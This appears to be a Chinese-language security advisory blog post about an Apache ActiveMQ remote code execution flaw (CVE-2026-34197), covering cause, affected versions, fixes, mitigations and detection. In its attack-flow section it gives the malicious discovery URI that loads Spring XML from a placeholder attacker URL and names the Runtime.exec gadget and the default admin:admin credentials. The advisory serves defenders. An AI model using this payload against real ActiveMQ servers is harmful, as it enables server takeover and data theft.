Apache ActiveMQ远程代码执行漏洞(CVE-2026-34197)深度技术分析
一、漏洞概述
Apache ActiveMQ是一款由Apache软件基金会开发的开源消息中间件,支持JMS、AMQP、MQTT、STOMP等多种消息协议,广泛应用于企业级消息队列、分布式系统与微服务架构中。
2026年4月8日,安全研究人员发现Apache ActiveMQ存在高危远程代码执行漏洞(CVE-2026-34197),该漏洞CVSS 3.1评分为8.8分,属于高危级别。攻击者可通过Jolokia JMX-HTTP接口远程触发操作执行恶意Spring配置,进而在Broker进程上执行任意代码。
二、漏洞技术原理
2.1 漏洞背景
Apache ActiveMQ Classic默认包含一个基于Jetty的Web管理控制台(默认监听8161端口),集成了Jolokia组件——一个将JMX操作暴露为HTTP/JSON接口的组件。这意味着攻击者只要通过控制台地址(如/api/jolokia/)发送合法认证请求(常见默认凭证admin:admin),即可调用ActiveMQ的管理方法。
2.2 漏洞触发机制
该漏洞的根本原因在于对Jolokia可执行操作范围的过度放宽。在修复CVE-2022-41678时,ActiveMQ默认策略允许所有org.apache.activemq:*MBean操作,以保证控制台功能完整。不幸的是,这一策略正被CVE-2026-34197所利用。
漏洞的触发点为BrokerService.addNetworkConnector(String)(以及同类型的addConnector)方法。攻击者向Jolokia的exec接口发送HTTP POST请求,指定对org.apache.activemq:type=Broker,brokerName=localhostMBean调用addNetworkConnector操作,并提供一个精心构造的静态发现URI(discovery URI)作为参数。
2.3 攻击流程
-
认证绕过:在ActiveMQ 6.0.0-6.1.1版本中,由于CVE-2024-32114漏洞导致Jolokia API无需认证即可访问,该漏洞可被未认证攻击者利用实现远程代码执行。
-
恶意URI构造:攻击者构造格式为
static:(vm://rce?brokerConfig=xbean:http://attacker-url/payload.xml)的URI。 -
远程配置加载:ActiveMQ的VM传输层解析该URI时,会通过Spring的
ResourceXmlApplicationContext远程加载攻击者控制的XML配置文件。 -
恶意Bean实例化:在Spring初始化阶段会提前实例化Bean,攻击者可借助
Runtime.exec()等方法实现任意代码执行。 -
代码执行:实例化其中恶意Bean(如通过
MethodInvokingFactoryBean调用Runtime.exec()),最终以ActiveMQ进程权限在目标服务器执行任意系统命令。
三、影响范围
3.1 受影响版本
根据官方通报,以下版本受到该漏洞影响:
|
组件名称 |
受影响版本范围 |
|---|---|
|
Apache ActiveMQ Broker |
< 5.19.4 |
|
Apache ActiveMQ Broker |
6.0.0 ≤ 版本 < 6.2.3 |
|
Apache ActiveMQ |
< 5.19.4 |
|
Apache ActiveMQ |
6.0.0 ≤ 版本 < 6.2.3 |
3.2 漏洞利用条件
-
认证要求:一般情况下需要认证用户权限即可利用。
-
特殊场景:在ActiveMQ 6.0.0-6.1.1版本中,由于CVE-2024-32114漏洞导致Jolokia API无需认证即可访问,可实现未授权远程代码执行。
四、漏洞危害
该漏洞一旦成功利用可完全控制Broker所在JVM,导致系统被接管、数据泄露甚至横向移动风险,可能违反数据安全及合规要求,对企业消息系统安全造成严重影响。
恶意攻击者可以利用该漏洞在目标系统上远程执行任意代码,直接获取系统权限,进而完全控制服务器并对内网环境造成持续威胁。
五、修复方案
5.1 官方修复版本
Apache官方已发布修复补丁,建议用户升级至以下安全版本:
-
Apache ActiveMQ Broker ≥ 5.19.5
-
Apache ActiveMQ Broker ≥ 6.2.3
-
Apache ActiveMQ ≥ 5.19.5
-
Apache ActiveMQ ≥ 6.2.3
5.2 修复原理
修复版本中通过在BrokerView.addConnector(String)和addNetworkConnector(String)调用前新增validateAllowedUrl/validateAllowedUri校验,禁止vm scheme及其嵌套composite URI进入底层连接器创建流程,从而阻断远程Spring XML加载路径。
5.3 临时缓解措施
在完成升级前,可采取以下临时缓解措施:
-
访问控制:限制ActiveMQ管理接口和Jolokia API的访问范围,避免暴露到不可信网络。
-
模块禁用:若业务允许,可临时禁用或移除activemq-http模块,降低通过HTTP Discovery链路触发问题的风险。
-
网络隔离:结合防火墙、反向代理或访问控制策略,仅允许受信任的管理来源访问相关管理端点。
-
密码强化:修改默认管理员口令(admin/admin),使用强密码策略,避免使用弱口令。
5.4 通用安全建议
-
定期更新:定期更新系统补丁,减少系统漏洞,提升服务器的安全性。
-
访问控制:加强系统和网络的访问控制,修改防火墙策略,关闭非必要的应用端口或服务,减少将危险服务(如SSH、RDP等)暴露到公网,减少攻击面。
-
安全产品:使用企业级安全产品,提升企业的网络安全性能。
六、检测与验证
6.1 漏洞检测
-
版本检查:确认当前使用的Apache ActiveMQ版本是否在受影响范围内。
-
端口扫描:检查8161端口是否对外开放,以及
/api/jolokia/接口是否可访问。 -
认证测试:测试Jolokia接口是否需要认证,以及默认凭证是否有效。
6.2 修复验证
升级后建议结合日志审计与主机排查确认是否存在异常利用痕迹。重点关注以下日志条目:
-
Jolokia访问日志:异常的
/api/jolokia/访问记录。 -
网络连接器创建:异常的
addNetworkConnector操作记录。 -
远程资源加载:异常的远程XML配置文件加载记录。
七、总结
CVE-2026-34197是Apache ActiveMQ中的一个高危远程代码执行漏洞,源于Jolokia JMX-HTTP接口的权限配置过于宽松,结合VM传输协议对远程Spring XML配置文件的加载机制,导致攻击者可在目标系统上执行任意代码。
该漏洞影响范围广泛,利用难度较低,且在某些版本中可实现未授权利用,对企业消息中间件安全构成严重威胁。建议所有使用Apache ActiveMQ的组织立即检查自身版本,并按照官方建议进行升级或采取相应的缓解措施。
随着企业数字化转型的深入,消息中间件作为关键基础设施组件,其安全性不容忽视。此次漏洞再次提醒我们,即使是成熟的开源项目也可能存在严重的安全隐患,持续的安全监控和及时的漏洞修复是保障系统安全的重要环节。
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐


所有评论(0)